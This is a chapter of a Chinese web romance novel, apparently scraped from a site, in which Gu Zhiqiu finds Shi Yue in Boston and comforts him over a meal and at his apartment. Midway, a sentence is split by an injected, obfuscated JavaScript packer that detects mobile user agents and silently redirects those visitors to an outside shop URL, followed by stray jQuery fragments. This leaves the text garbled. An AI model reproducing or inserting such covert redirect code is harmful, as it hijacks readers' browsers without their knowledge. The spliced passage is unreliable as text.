晚上八点，饭店里人已不多。暖黄色的灯光，照耀着年代感十足的暗红色桌椅，桌面擦得蹭亮，边缘已经有了许多磕碰的痕迹。据说这家饭店已经经历了祖孙四代，现在依然生意红火。


    顾知秋拉着时越坐在靠窗的位置，隔壁桌几个华人模样的青年正用粤语高声谈笑，后厨传来炒勺撞击铁锅的“锵锵”声，飘来着带着镬气的油烟香，这是属于平常生活的气息。


    她先要了一壶热的蜂蜜柚子茶，点的菜也几乎都是时越的口味。


    “一个生滚牛肉粥，要滚烫的。”


    “姜葱炒澳洲肥牛。”


    “蒜蓉空菜。”


    “再来个……沙姜鸡煲。”


    “麻烦先上这些，谢谢。”


    服务员的动作很麻利，很快送来了柚子茶。顾知秋提起茶壶，给两个杯子倒满，热气瞬间氤氲了她的眉眼。她把其中一杯推到时越面前。


    “先喝吧。” 她的声音，带着一丝安定后的疲惫。


    时越端起杯子，小口喝下热水。温热的甜味滑过喉咙，他觉得自己这几个月刻意忽略的情绪，像是要从体内开始复苏。


    粥上得很快，顾知秋用勺子把底下的生食和着滚烫的粥底搅开，为他盛了一个小碗：


    “先吃吧，当心烫。”


    时越又是听话的舀起一勺。米粒熬得软烂，牛肉滑嫩，姜丝的香气恰到好处。这股熟悉的味道，让他的身体瞬间放松了下来，而且身体的反应也比大脑更直接。在第一口粥下肚后，那股被忽略的饥饿感也猛地窜了上来。


    顾知秋只是小口小口地喝着粥，大部分时间，是在看对面的人。仿佛要把这近一年的分别都补回来。她的眼神很平静，平静到时越有些心慌。


    热菜陆续上齐。沙姜鸡煲“滋滋”作响地端上来，香气四溢。时越已经吃了大半碗粥，热量补充到位后，头脑逐渐清醒。看着顾知秋夹在他碗里的肉，他的手微微一抖，勺子在碗边停顿了片刻。


    “吃啊。”顾知秋看向他：“吃饱了吗？”


    时越点头说是。


    “那我们聊会天吧。”她的声音不大，在嘈杂的餐馆里，却依然清晰地传入他的耳朵里：“你那个唤醒系统是什么时候做的？”


    时越陡然僵住了，紧张到喉结滚动了几下之后，才小心翼翼地问： “……你看到了？”


    “嗯，”顾知秋的脸上依旧看不出什么情绪，只是又给他倒了杯热茶，“我都看完了，还看了不止一遍。”


    时越突然有些不知道该怎么回复，一股更强烈的“羞耻感”涌上头。之前之所以能毫无顾忌地吐露那么多真实的情绪，无非是断定只有他自己看到而已。


    “什么时候做的？”她追问，不给他喘息的机会。


    “就是那次……我给你发微信，让你别管我的那次。”过了片刻，时越终于还是艰涩地开口，“那天，我刚把一组三个月的数据，全部推翻。”


    “只只，当时看着黑掉的屏幕，我自己都不敢相信自己说了那句话。”


    “我就想，”他艰难地吞咽了一下，像是在回忆当时的情形。


    “我就想，万一我真的……撑不住了。万一……我不想你误误会我，也不想你忘了我。”


    “留下点什么，也许能让你……想起我来。”


    顾知秋对视着他的眼睛：“所以，你觉得做个网站就万事大吉了，然后继续一个人假装下去？”


    时越没再说话，只是满脸歉疚地看着她。


    顾知秋再一次骂他“笨蛋”，可这次，声音里只剩满满的心疼。


    “时越，你听着。” 他看见她又红了眼睛。


    “下次你觉得不好，就直接说不好。你不用在我的面前假装。”


    “我并不是瓷娃娃，我不会被你的不好吓跑。”


    “我只会气你，气你为什么不告诉我。”


    “好！”时越这时已经坐到她旁边的位置，紧紧地握住她的右手后郑重地点了点头，在心底暗自发誓，这一次，他一定不会再食言！


    吃晚饭后，两人走在微凉的夜色里。吃饱了，那股暖意从胃里升起，时越的觉得自己的心仿佛也被感染，终于不再像之前那样，像一块千年寒冰。


    他不敢想还能有这样的时刻，能和她漫步在波士顿的街头。他觉得此刻是他到美国后最安心的时刻。


    两人继续并肩走着，都没有说话。走过最后一个街口，顾知秋忽然开口：“时越。”


    “嗯？”


    “手。”


    她不再等他回复，主动抓住了他垂在身侧的右手，用力地攥着，随即十指相扣。她的力气大得惊人，却让时越觉得心被填得更满了。


    “手怎么这么瘦啊。”两人手拉着手继续往公寓方向走，顾知秋语气里带着嗔怪，“你到底瘦了多少啊？是不是一直没好好吃饭？”


    时越刚刚在餐馆里强忍着的酸涩，在这一刻，又猛地涌了上来。他准备了一肚子的道歉。 “对不起，我骗了你。” “对不起，我不该躲着你。” “对不起，我把自己搞得一团糟。” ……


    被她一句“手为什么这么瘦”、“有没有好好吃饭”乱了节奏。


    千言万语哽在喉咙里，他却只是更紧、更用力地回握住她，像溺水者抓住唯一的浮木，贪婪地汲取着她掌心的温度。


    “笨蛋。” 她又骂了一句。不知道这是今天的第几次骂他，可他却在这一声声的责怪里，找到了久违的安心。


    回到公寓后，顾知秋按下了玄关的灯，“嗒”的一声，那个被她收拾得焕然一新的客厅瞬间被点亮。窗户开着，垃圾被清空了，杂物被归置了。这里，终于恢复了一点点“家”的样子。


    时越站在玄关处，也在看着这个“新”家，却没迈出步子。


    顾知秋踢掉鞋子，走进去，她累得快散架了。 “我去烧点水，你……” 她回头，发现他还僵在门口。 “你怎么还不进来啊？”


    时越没有动。他那根紧绷了很久的弦，在看到这个带着她的气息的空间彻底断了。他低着头，肩膀开始无法控制地颤抖。然后，顾知秋看到，仿佛有水滴，一滴、两滴，落在了玄关的地板上。她的心，跟他的眼泪一起猛地一揪。


    她叹了口气，朝他走了回去。感受到她的靠近，时越抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724100|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起头，那张刚刚吃完饭才有了点血色的脸，此刻又恢复了苍白。


    “只只……”他声音有些发抖， “我怕，我怕让你失望……”


    “我怕我不是你以为的那个我……那个可以为你做很多事的我。”


    “我怕我搞砸了。我怕我连毕业都做不到。”


    “我怕我，配不上你。”


    “我怕你看到我现在这个鬼样子……”


    顾知秋安静地听着他的诉说。耐心地在他说完后上前一步，一把抓住了他干净的T恤，用力一拉，把他拉向自己，然后踮起脚，用力地抱紧他。


    这个拥抱，带着不容拒绝的霸道。


    “时越，我坐了十几个小时，又帮你打扫了一个多小时的垃圾，” 她的声音闷在他的T恤里，带着浓重的鼻音，她把他抱得更紧了些，


    “你给我听好了，”


    “我从来都没觉得你无所不能，这个世上也不会有人会无所不能。”


    “我不管你是别人口中的天才，还是我眼中这个一根筋的笨蛋。” 她松开怀抱，退后一步后，又双手捧起他那张还有泪痕的脸，强迫他看着自己。


    “你在我心里都是最好的，在我这里，你永远有特殊加分，永远被偏爱！”


    时越看着她，顾知秋此刻的眼睛里也满是眼泪，他看到了她眼里倒映出的那个委屈的自己。


    “而且，”她忽然露出一抹自信又有点蛮横的笑，“我喜欢的人，好不好，只有我说了算，你说了都不算。”说完，没有给他任何反应的时间，顾知秋拉下他的脖子，踮起脚，吻了上去。


    这个吻，带着她跨越太平洋的决心，带着十几个小时飞行的疲惫，带着她刚才在餐桌上的质问，也带着彼此眼泪的咸涩。


    时越所有的不安都在这个吻里，被她的坚定碾压得粉碎。他那颗冰冷了几个月的心，也在这一刻，被她强行点燃。


    他不再后退，反手扣住了她的后脑，加深了这个吻，夺回了那一点点可怜的主动权。


    不知道过了多久，久到两个人肺里的空气耗尽，才气喘吁吁地分开。额头抵着额头，呼吸滚烫。


    时越只是看着她，他那双眼睛里，终于重新有了一点微弱的光芒。


    “我好困。” 顾知秋靠在他身上，整个人都放松了下来。她几乎是挂在了他身上，声音小得像在梦呓。 “我快累死了……”


    时越的手臂，在他自己意识到之前，已经紧紧地环住了她的腰，把她所有的重量都接了过来。


    “去洗澡睡觉。”他的声音还带着自己都未察觉的温柔和满足。


    “嗯。”她在他怀里蹭了蹭，“时越，你在来美国之前答应我的，无论你多么不想让我担心，发生了事情都会提前让我知道。”她边说边转动几下，找了一个舒服的位置，“所以，如果还有下次，我没办法保证还能再找回你了……”


    “嗯，一定不会了。”他将她抱得更近了些，犹豫片刻，低头看着她放松的身子，打横抱起，在顾知秋的轻呼声中走向了卫生间的方向。


    窗外，是异国陌生的灯火。而怀里的重量，是他此生唯一的恒数。